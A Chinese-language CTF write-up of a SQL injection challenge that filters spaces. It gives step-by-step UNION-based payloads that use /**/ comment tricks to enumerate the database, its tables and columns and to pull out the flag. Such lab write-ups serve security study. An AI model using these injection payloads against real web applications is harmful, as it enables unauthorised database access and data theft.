我们尝试输入1:

再输入:1 and 1=1

题目过滤了空格,我们查看绕过空格过滤的知识点:

输入:2/**/and/**/1=1#,回显成功。

确定注入类型
输入表:
| 输入 | 输出 |
|---|---|
1/**/and/**/1=1# |
有回显 |
1/**/and/**/1=2# |
无回显 |
由此观之,是数字型注入。
判断列数
输入:1/**/order/**/by/**/3#,无回显。

输入:1/**/order/**/by/**/2#,有回显。

由此观之,列数为 2。
联合查询
1、查询数据库版本号、当前数据库名。
-1/**/union/**/select/**/version(),database()#

当前数据库为sqli。
2、查询数据库中的表。
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

我们关注qzxnmweefm这张表。
3、查询表的结构。
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='qzxnmweefm'#

表里只有 1 个字段,叫xgwrnhsyyi。
4、查询表里的记录。
-1/**/union/**/select/**/1,group_concat(xgwrnhsyyi)/**/from/**/qzxnmweefm#

可以得到 Flag:ctfhub{b198a370acdfc539da80a3eb}。
